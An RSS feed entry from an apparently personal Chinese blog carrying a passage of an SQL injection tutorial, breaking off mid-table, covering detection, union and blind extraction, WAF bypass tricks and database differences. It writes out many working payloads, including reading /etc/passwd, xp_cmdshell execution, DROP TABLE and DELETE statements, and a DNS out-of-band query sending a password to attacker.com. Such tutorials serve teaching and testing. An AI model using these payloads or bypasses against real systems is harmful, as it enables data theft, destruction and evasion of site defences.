<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>微汀小栈</title><link>https://www.pnfdbsw.com/</link><description>Good Luck To You!</description><item><title>sql注入</title><link>https://www.pnfdbsw.com/?id=3</link><description>&lt;head&gt;&lt;/head&gt;&lt;body&gt;&lt;p&gt;@[toc]&lt;/p&gt;
&lt;h2 id=&quot;h2-SQL20u6CE8u5165u6982u8FF0-2&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;SQL 注入概述&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;SQL 注入概述&lt;/h2&gt;&lt;p&gt;SQL 注入（SQL Injection）是 Web 应用中最危险、最常见的安全漏洞之一，属于 OWASP Top 10 长期上榜风险。攻击者通过将&lt;strong&gt;恶意 SQL 代码&lt;/strong&gt;注入到应用程序的输入参数（如 URL 参数、表单提交、HTTP 头部等），利用应用程序对用户输入的 “未过滤 / 未转义” 缺陷，篡改后台 SQL 查询逻辑，使数据库执行非预期操作。&lt;/p&gt;
&lt;p&gt;其核心危害包括但不限于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;数据泄露&lt;/strong&gt;：窃取敏感信息（用户密码、银行卡号、商业数据等）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;数据篡改&lt;/strong&gt;：修改 / 删除数据库内容（如篡改订单金额、删除用户数据）；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;权限提升&lt;/strong&gt;：伪装管理员账号登录，甚至获取数据库服务器系统权限；&lt;/li&gt;&lt;li&gt;&lt;strong&gt;服务器接管&lt;/strong&gt;：通过写入恶意脚本（WebShell）控制整个 Web 服务器&lt;/li&gt;&lt;/ul&gt;
&lt;h2 id=&quot;h2-SQLu6CE8u5165u539Fu7406-13&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;SQL注入原理&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;SQL注入原理&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;基本概念&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;应用程序将&lt;strong&gt;用户输入直接拼接到 SQL 查询语句中&lt;/strong&gt;，未进行任何安全处理（过滤、转义、参数化），导致攻击者可通过构造特殊输入 “打破” 原 SQL 语句的语法结构，注入自定义逻辑。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 原始查询
SELECT * FROM users WHERE username = '$username' AND password = '$password'

-- 恶意输入
username: admin' --

-- 最终执行的SQL
SELECT * FROM users WHERE username = 'admin' --' AND password = '(任意)'
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-SQLu6CE8u5165u5F71u54CDu56E0u7D20u5206u6790u8868-32&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;SQL注入影响因素分析表&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;SQL注入影响因素分析表&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;影响因素&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;注入示例&lt;/th&gt;
&lt;th&gt;备注&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;数据库类型及权限&lt;/td&gt;
&lt;td&gt;不同数据库语法、函数、系统表结构差异大；用户权限决定操作范围&lt;/td&gt;
&lt;td&gt;MySQL: &lt;code&gt;UNION SELECT LOAD_FILE('/etc/passwd')&lt;/code&gt;（需 FILE 权限） MSSQL: &lt;code&gt;;EXEC xp_cmdshell 'whoami'--&lt;/code&gt;（需启用 xp_cmdshell）&lt;/td&gt;
&lt;td&gt;MySQL 无 FILE 权限无法读文件；MSSQL 默认禁用 xp_cmdshell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据操作方法&lt;/td&gt;
&lt;td&gt;增删改查（CRUD）对注入利用的风险不同&lt;/td&gt;
&lt;td&gt;查询: &lt;code&gt;' UNION SELECT username,password FROM users--&lt;/code&gt; 删除: &lt;code&gt;'; DELETE FROM orders WHERE 1=1--&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;删除 / 修改操作破坏性更强，但需触发执行条件；查询操作更易窃取数据&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;参数数据类型&lt;/td&gt;
&lt;td&gt;数字型、字符型、LIKE 型参数需不同注入语法&lt;/td&gt;
&lt;td&gt;数字型: &lt;code&gt;id=1 OR 1=1--&lt;/code&gt;（无需引号） 字符型: &lt;code&gt;name='admin' OR '1'='1'--&lt;/code&gt;（需闭合引号） LIKE 型: &lt;code&gt;search=%' AND 1=1--%&lt;/code&gt;（需处理百分号）&lt;/td&gt;
&lt;td&gt;数字型参数若用&lt;code&gt;WHERE id=$id&lt;/code&gt;，直接注入&lt;code&gt;OR 1=1&lt;/code&gt;即可&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;参数数据格式&lt;/td&gt;
&lt;td&gt;加密、编码、序列化会增加注入难度，需先解析格式&lt;/td&gt;
&lt;td&gt;Base64 编码: &lt;code&gt;dXNlcm5hbWU9J2FkbWluJyBPUiAnMSc9JzEn&lt;/code&gt;（解码后为&lt;code&gt;username='admin' OR '1'='1'&lt;/code&gt;） JSON 格式: &lt;code&gt;{&quot;id&quot;:&quot;1' UNION SELECT--&quot;}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;需先通过抓包分析数据格式（如 BurpSuite 查看请求体），再构造对应 Payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;提交数据方式&lt;/td&gt;
&lt;td&gt;参数位置（GET/POST/Cookie/HTTP 头）影响注入测试方式&lt;/td&gt;
&lt;td&gt;GET: &lt;code&gt;?id=1' AND 1=1--&lt;/code&gt; POST 表单: &lt;code&gt;username=admin'--&amp;amp;password=123&lt;/code&gt; Cookie: &lt;code&gt;session=123' AND (SELECT...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SQLmap 通过&lt;code&gt;--data&lt;/code&gt;（POST）、&lt;code&gt;--cookie&lt;/code&gt;（Cookie）指定注入位置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;有无数据处理&lt;/td&gt;
&lt;td&gt;应用对输入的过滤、转义、验证会降低注入成功率&lt;/td&gt;
&lt;td&gt;过滤单引号: &lt;code&gt;1' OR '1'='1&lt;/code&gt; → 被过滤为&lt;code&gt;1 OR 1=1&lt;/code&gt; 转义单引号: &lt;code&gt;1'&lt;/code&gt; → 转义为&lt;code&gt;1\'&lt;/code&gt; 无回显: &lt;code&gt;' AND IF(1=1,SLEEP(5),0)--&lt;/code&gt;（时间盲注）&lt;/td&gt;
&lt;td&gt;过滤不彻底可被绕过（如双写&lt;code&gt;1'' OR ''1''=''1&lt;/code&gt;）；无回显需用盲注 / 外带技术&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WAF / 防护设备&lt;/td&gt;
&lt;td&gt;Web 应用防火墙会检测并阻断恶意 Payload&lt;/td&gt;
&lt;td&gt;被拦截: &lt;code&gt;UNION SELECT&lt;/code&gt; → 绕过: &lt;code&gt;UNI/**/ON SEL/**/ECT&lt;/code&gt;（插入注释） 被拦截: &lt;code&gt;OR 1=1&lt;/code&gt; → 绕过: &lt;code&gt;OR 2&amp;gt;1&lt;/code&gt;（逻辑等价替换）&lt;/td&gt;
&lt;td&gt;需结合 WAF 特性调整 Payload（如编码、分块传输、参数污染）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;错误信息显示&lt;/td&gt;
&lt;td&gt;详细错误信息可加速信息收集，无错误显示需盲注&lt;/td&gt;
&lt;td&gt;显示错误: &lt;code&gt;You have an error in your SQL syntax...&lt;/code&gt;（暴露数据库类型） 不显示错误：通用 “登录失败” 页面&lt;/td&gt;
&lt;td&gt;生产环境应关闭错误回显（如 PHP 关闭&lt;code&gt;display_errors&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;输入长度限制&lt;/td&gt;
&lt;td&gt;参数 maxlength 或服务器截断会限制复杂 Payload&lt;/td&gt;
&lt;td&gt;输入框&lt;code&gt;maxlength=20&lt;/code&gt;：无法输入长 Payload URL 参数截断：超出服务器限制长度的内容被忽略&lt;/td&gt;
&lt;td&gt;可通过短 Payload（如&lt;code&gt;1'--&lt;/code&gt;）测试，或分阶段注入（分段提交恶意代码）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;会话管理机制&lt;/td&gt;
&lt;td&gt;需有效会话或 CSRF Token 才能提交请求，影响注入持久性&lt;/td&gt;
&lt;td&gt;需先登录获取 Cookie 才能访问&lt;code&gt;/user?id=1&lt;/code&gt; 表单需携带&lt;code&gt;csrf_token&lt;/code&gt;才能提交&lt;/td&gt;
&lt;td&gt;测试时需维持会话（如保存 Cookie），或自动提取 CSRF Token&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;h2-u6CE8u5165u601Du8DEF-47&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;注入思路&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;注入思路&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;信息收集 → 注入点探测 → 注入类型确定 → 数据提取 → 权限提升 → 后渗透操作
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-1.20u4FE1u606Fu6536u96C6u9636u6BB5-53&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;1. 信息收集阶段&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;1. 信息收集阶段&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;目标识别&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;识别所有用户输入点&lt;ul&gt;
&lt;li&gt;常规输入点&lt;ul&gt;
&lt;li&gt;GET 参数（URL 中&lt;code&gt;?id=1&lt;/code&gt;、&lt;code&gt;?search=test&lt;/code&gt;）；&lt;/li&gt;&lt;li&gt;POST 表单（登录框、注册页、提交按钮的表单字段）；&lt;/li&gt;&lt;li&gt;HTTP 头部（Cookie、User-Agent、Referer、X-Forwarded-For）；&lt;/li&gt;&lt;li&gt;文件上传（文件名、文件描述、请求头中的&lt;code&gt;Content-Disposition&lt;/code&gt;）。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;li&gt;隐藏输入点&lt;ul&gt;
&lt;li&gt;API 端点（如&lt;code&gt;/api/user?id=1&lt;/code&gt;、&lt;code&gt;/api/order&lt;/code&gt;的 JSON 参数）；&lt;/li&gt;&lt;li&gt;动态参数（如页面加载时异步请求的&lt;code&gt;token&lt;/code&gt;、&lt;code&gt;timestamp&lt;/code&gt;）；&lt;/li&gt;&lt;li&gt;第三方集成（如评论系统、搜索插件的输入字段）。&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;/li&gt;&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;技术栈分析&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. 使用whatweb识别技术栈（需先安装whatweb）
whatweb target.com  # 示例输出：&quot;Apache/2.4.49, PHP/7.4.30, MySQL&quot;

# 2. 查看HTTP响应头（通过curl或BurpSuite）
curl -I target.com  # 响应头可能包含&quot;Server: Apache&quot;、&quot;X-Powered-By: PHP/7.4.30&quot;

# 3. 浏览器插件辅助：Wappalyzer（Chrome/Firefox插件）
# 直接显示目标使用的Web服务器、数据库、前端框架等信息

#错误页面探测
#故意构造错误输入（如id=1'），观察页面是否返回数据库错误：
#若返回MySQL syntax error，直接确认数据库类型为 MySQL；
#若返回Microsoft OLE DB Provider for SQL Server，确认数据库为 MSSQL；
#若仅显示 “系统错误”，需后续用盲注测试。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-2.20u6CE8u5165u70B9u63A2u6D4B-87&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;2. 注入点探测&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;2. 注入点探测&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;注入类型&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;th&gt;检测方法（核心 Payload）&lt;/th&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;缺点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;基础注入（是否存在）&lt;/td&gt;
&lt;td&gt;初步筛查输入点是否有注入漏洞&lt;/td&gt;
&lt;td&gt;1. 数字型参数：&lt;code&gt;id=1'&lt;/code&gt;（若报错，可能存在注入）、&lt;code&gt;id=1 AND 1=1&lt;/code&gt;（正常）、&lt;code&gt;id=1 AND 1=2&lt;/code&gt;（无结果，确认注入） 2. 字符型参数：&lt;code&gt;name='admin' AND '1'='1'&lt;/code&gt;（正常）、&lt;code&gt;name='admin' AND '1'='2'&lt;/code&gt;（无结果，确认注入）&lt;/td&gt;
&lt;td&gt;简单快速，1-2 个 Payload 即可判断&lt;/td&gt;
&lt;td&gt;无法确定注入类型（如联合查询 / 盲注）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;联合查询注入&lt;/td&gt;
&lt;td&gt;页面直接显示 SQL 查询结果（有回显）&lt;/td&gt;
&lt;td&gt;1. 确定列数：&lt;code&gt;id=1' ORDER BY 1--&lt;/code&gt;、&lt;code&gt;ORDER BY 2--&lt;/code&gt;…（直到报错，前一个数即为列数） 2. 找回显位：&lt;code&gt;id=1' UNION SELECT 1,2,3--&lt;/code&gt;（页面显示的数字即为回显位）&lt;/td&gt;
&lt;td&gt;数据提取快，结果直观&lt;/td&gt;
&lt;td&gt;需页面有回显，易被 WAF 拦截&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;报错注入&lt;/td&gt;
&lt;td&gt;页面显示数据库错误信息（无回显但有错误）&lt;/td&gt;
&lt;td&gt;MySQL: &lt;code&gt;' AND updatexml(1,concat(0x7e,version()),0)--&lt;/code&gt;（0x7e 是&lt;code&gt;~&lt;/code&gt;，用于分隔错误信息） MSSQL: &lt;code&gt;' AND convert(int, @&lt;a class=&quot;at-link&quot; title=&quot;@version&quot; href=&quot;https://github.com/version&quot;&gt;@version&lt;/a&gt;)--&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无需回显位，单次获取数据&lt;/td&gt;
&lt;td&gt;受错误信息长度限制（如 MySQL 报错仅显示部分内容）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;布尔盲注&lt;/td&gt;
&lt;td&gt;页面无数据回显，但有状态差异（如 “存在 / 不存在”）&lt;/td&gt;
&lt;td&gt;1. 判断数据库名长度：&lt;code&gt;' AND length(database())=5--&lt;/code&gt;（若页面正常，说明长度为 5） 2. 逐字符猜解：&lt;code&gt;' AND substr(database(),1,1)='a'--&lt;/code&gt;（页面正常则第一个字符为&lt;code&gt;a&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;适用性广，无错误也能测&lt;/td&gt;
&lt;td&gt;需大量请求，速度慢&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;时间盲注&lt;/td&gt;
&lt;td&gt;页面无任何状态差异（完全无回显）&lt;/td&gt;
&lt;td&gt;MySQL: &lt;code&gt;' AND IF(1=1,SLEEP(5),0)--&lt;/code&gt;（若延迟 5 秒，说明条件成立） MSSQL: &lt;code&gt;' AND WAITFOR DELAY '0&lt;img src=&quot;https://github.githubassets.com/images/icons/emoji/0.png&quot; title=&quot;:0:&quot; alt=&quot;:0:&quot; data-emoji=&quot;&quot; class=&quot;emoji&quot;&gt;5'--&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最隐蔽，适用于所有场景&lt;/td&gt;
&lt;td&gt;速度极慢，受网络延迟影响大&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;堆叠查询注入&lt;/td&gt;
&lt;td&gt;数据库支持多语句执行（用&lt;code&gt;;&lt;/code&gt;分隔）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;id=1'; INSERT INTO logs VALUES ('attack')--&lt;/code&gt;（执行查询后，额外插入一条日志） &lt;code&gt;id=1'; DROP TABLE users;--&lt;/code&gt;（删除 users 表）&lt;/td&gt;
&lt;td&gt;可执行任意 SQL，功能最强&lt;/td&gt;
&lt;td&gt;大部分环境禁用多语句执行（如 PHP 的&lt;code&gt;mysql_query&lt;/code&gt;不支持）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;带外通道注入&lt;/td&gt;
&lt;td&gt;传统注入被限制（如 WAF 拦截、无回显无错误）&lt;/td&gt;
&lt;td&gt;MySQL: &lt;code&gt;' AND (SELECT LOAD_FILE(concat('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\file.txt')))--&lt;/code&gt;（通过 DNS 查询外带数据）&lt;/td&gt;
&lt;td&gt;绕过严格防护&lt;/td&gt;
&lt;td&gt;需数据库有网络权限，配置复杂（需搭建攻击者服务器）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;h2-3.20u6CE8u5165u7C7Bu578Bu786Eu5B9Au4E0Eu5229u7528-99&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;3. 注入类型确定与利用&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;3. 注入类型确定与利用&lt;/h2&gt;&lt;h3 id=&quot;h3-u8054u5408u67E5u8BE2u6CE8u5165u6D41u7A0B-101&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;联合查询注入流程&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;联合查询注入流程&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;1. 确定字段数
ORDER BY 1--
ORDER BY 2--
...
ORDER BY n--  # 直到报错

2. 确定可显示字段位置
UNION SELECT 1,2,3,...,n--

3. 获取数据库信息
UNION SELECT 1,version(),database(),4--

4. 获取表信息
UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database()--

5. 获取列信息
UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users'--

6. 提取数据
UNION SELECT 1,username,password,4 FROM users--
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u76F2u6CE8u5B9Eu6218u6280u5DE7-126&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;盲注实战技巧&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;盲注实战技巧&lt;/h3&gt;&lt;h4 id=&quot;h4-u5E03u5C14u76F2u6CE8u6570u636Eu63D0u53D6-128&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;布尔盲注数据提取&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;布尔盲注数据提取&lt;/h4&gt;&lt;pre&gt;&lt;code&gt;# 提取数据库名长度
' AND (SELECT LENGTH(database()))=5-- 

# 逐字符提取数据库名
' AND (SELECT SUBSTRING(database(),1,1))='a'-- 
' AND (SELECT SUBSTRING(database(),1,1))='b'-- 
...

# 自动化提取脚本思路
for position from 1 to length:
    for character in 'abcdefghijklmnopqrstuvwxyz0123456789':
        payload = f&quot;' AND (SELECT SUBSTRING((SELECT database()),{position},1))='{character}'-- &quot;
        if request(payload).content_length &amp;gt; 0:
            result += character
            break
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;h4-u65F6u95F4u76F2u6CE8u6570u636Eu63D0u53D6-148&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;时间盲注数据提取&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;时间盲注数据提取&lt;/h4&gt;&lt;pre&gt;&lt;code&gt;# MySQL时间盲注示例
' AND IF((SELECT SUBSTRING(database(),1,1))='a',SLEEP(5),0)-- 

# 自动化提取思路
for position from 1 to estimated_length:
    for character in character_set:
        payload = f&quot;' AND IF((SELECT SUBSTRING((SELECT database()),{position},1))='{character}',SLEEP(5),0)-- &quot;
        start_time = time.now()
        send_request(payload)
        if time.now() - start_time &amp;gt; 4.5:  # 考虑网络延迟
            result += character
            break
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-4.20u7ED5u8FC7u6280u5DE7-165&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;4. 绕过技巧&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;4. 绕过技巧&lt;/h2&gt;&lt;p&gt;当注入被 WAF 或应用过滤拦截时，需通过以下技巧调整 Payload&lt;/p&gt;
&lt;h3 id=&quot;h3-u6CE8u91CAu7B26u7ED5u8FC7-169&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;注释符绕过&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;注释符绕过&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;当--、#被过滤时，用其他方式注释或截断 SQL：
空字节截断：' OR 1=1;%00（%00是 ASCII 空字符，部分服务器会截断后续内容）；
内联注释（MySQL 特有）：' /*!OR*/ 1=1--（/*! */内的内容会被 MySQL 执行，其他数据库忽略）。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-u5173u952Eu5B57u7ED5u8FC7-177&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;关键字绕过&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;关键字绕过&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 大小写混合（WAF 可能只检测小写 / 大写，混合可绕过）
UnIoN SeLeCT

# 双写关键字（若 WAF 仅过滤一次，双写后会保留UNION SELECT）
UNIUNIONON SELESELECTCT

# 内联注释（/**/是 MySQL 注释，不影响执行，可拆分关键字）
/*!UNION*/ /*!SELECT*/

# 编码绕过
%55%4e%49%4f%4e %53%45%4c%45%43%54  # UNION SELECT的URL编码

# 空白符替代
%09 %0A %0C %0D %20 %A0  # 各种空白符
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;h3-WAFu7ED5u8FC7u6280u672F-196&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;WAF绕过技术&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;WAF绕过技术&lt;/h3&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 分块传输编码（WAF 可能仅检测完整 Payload，分块后无法识别）
使用Transfer-Encoding: chunked绕过输入检测；
通过 Burp 构造分块请求绕过 WAF

# 非常规HTTP方法（WAF 可能只防护 GET/POST 请求）
使用PUT、DEBUG等非常规方法

# 参数污染（服务器可能取最后一个id值，WAF 可能仅检测第一个id=1）
id=1&amp;amp;id=2' UNION SELECT--

#规则混淆
利用数据库特性变异关键字，如 MySQL 中||等价于OR，可替换OR 1=1为|| 1=1；

# JSON注入
{&quot;id&quot;:&quot;1' UNION SELECT--&quot;}

# 二次编码（'的 URL 编码是%27，二次编码是%2527   WAF 可能只解码一次，服务器会解码两次）
%2527  # 单引号的二次URL编码
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;h2-5.20u4E0Du540Cu6570u636Eu5E93u7684u5DEEu5F02-219&quot;&gt;&lt;a class=&quot;reference-link&quot; name=&quot;5. 不同数据库的差异&quot;&gt;&lt;/a&gt;&lt;span class=&quot;header-link octicon octicon-link&quot;&gt;&lt;/span&gt;5. 不同数据库的差异&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;MySQL&lt;/th&gt;
&lt;th&gt;Microsoft SQL Server（MSSQL）&lt;/th&gt;
&lt;th&gt;Oracle&lt;/th&gt;
&lt;th&gt;PostgreSQL&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;默认端口&lt;/td&gt;
&lt;td&gt;3306&lt;/td&gt;
&lt;td&gt;1433&lt;/td&gt;
&lt;td&gt;1521&lt;/td&gt;
&lt;td&gt;5432&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;注释语法&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--&lt;/code&gt;、&lt;code&gt;#&lt;/code&gt;、&lt;code&gt;/* */&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--&lt;/code&gt;、&lt;code&gt;/* */&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--&lt;/code&gt;、&lt;code&gt;/* */&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--&lt;/code&gt;、&lt;code&gt;/* */&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;当前数据库&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DATABASE()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DB_NAME()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT name FROM v$database&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CURRENT_DATABASE()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;版本信息&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VERSION()&lt;/code&gt;、&lt;code&gt;@&lt;a class=&quot;at-link&quot; title=&quot;@VERSION&quot; href=&quot;https://github.com/VERSION&quot;&gt;@VERSION&lt;/a&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;@&lt;a class=&quot;at-link&quot; title=&quot;@VERSION&quot; href=&quot;https://github.com/VERSION&quot;&gt;@VERSION&lt;/a&gt;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SELECT banner FROM v$version&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VERSION()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;系统表（查所有表）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;information_schema.tables&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sysobjects&lt;/code&gt;（&lt;code&gt;xtype='U'&lt;/code&gt;表示用户表）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;all_tables&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;information_schema.tables&lt;/code&gt;、&lt;code&gt;pg_tables&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;延时函数&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SLEEP(n)&lt;/code&gt;、&lt;code&gt;BENCHMARK(1000000,md5(1))&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WAITFOR DELAY '0&lt;img src=&quot;https://github.githubassets.com/images/icons/emoji/0.png&quot; title=&quot;:0:&quot; alt=&quot;:0:&quot; data-emoji=&quot;&quot; class=&quot;emoji&quot;&gt;n'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DBMS_LOCK.SLEEP(n)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PG_SLEEP(n)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文件读取&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LOAD_FILE('路径')&lt;/code&gt;（需 FILE 权限）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OPENROWSET(BULK '路径', SINGLE_BLOB) AS data&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UTL_FILE&lt;/code&gt;包（需权限）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pg_read_file('路径')&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文件写入&lt;/td&gt;
&lt;td&gt;&lt;code&gt;INTO OUTFILE '路径'&lt;/code&gt;（需 FILE 权限）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;xp_cmdshell('echo content &amp;gt; 路径')&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UTL_FILE.PUT_LINE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;COPY (SELECT 'content') TO '路径'&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;命令执行&lt;/td&gt;
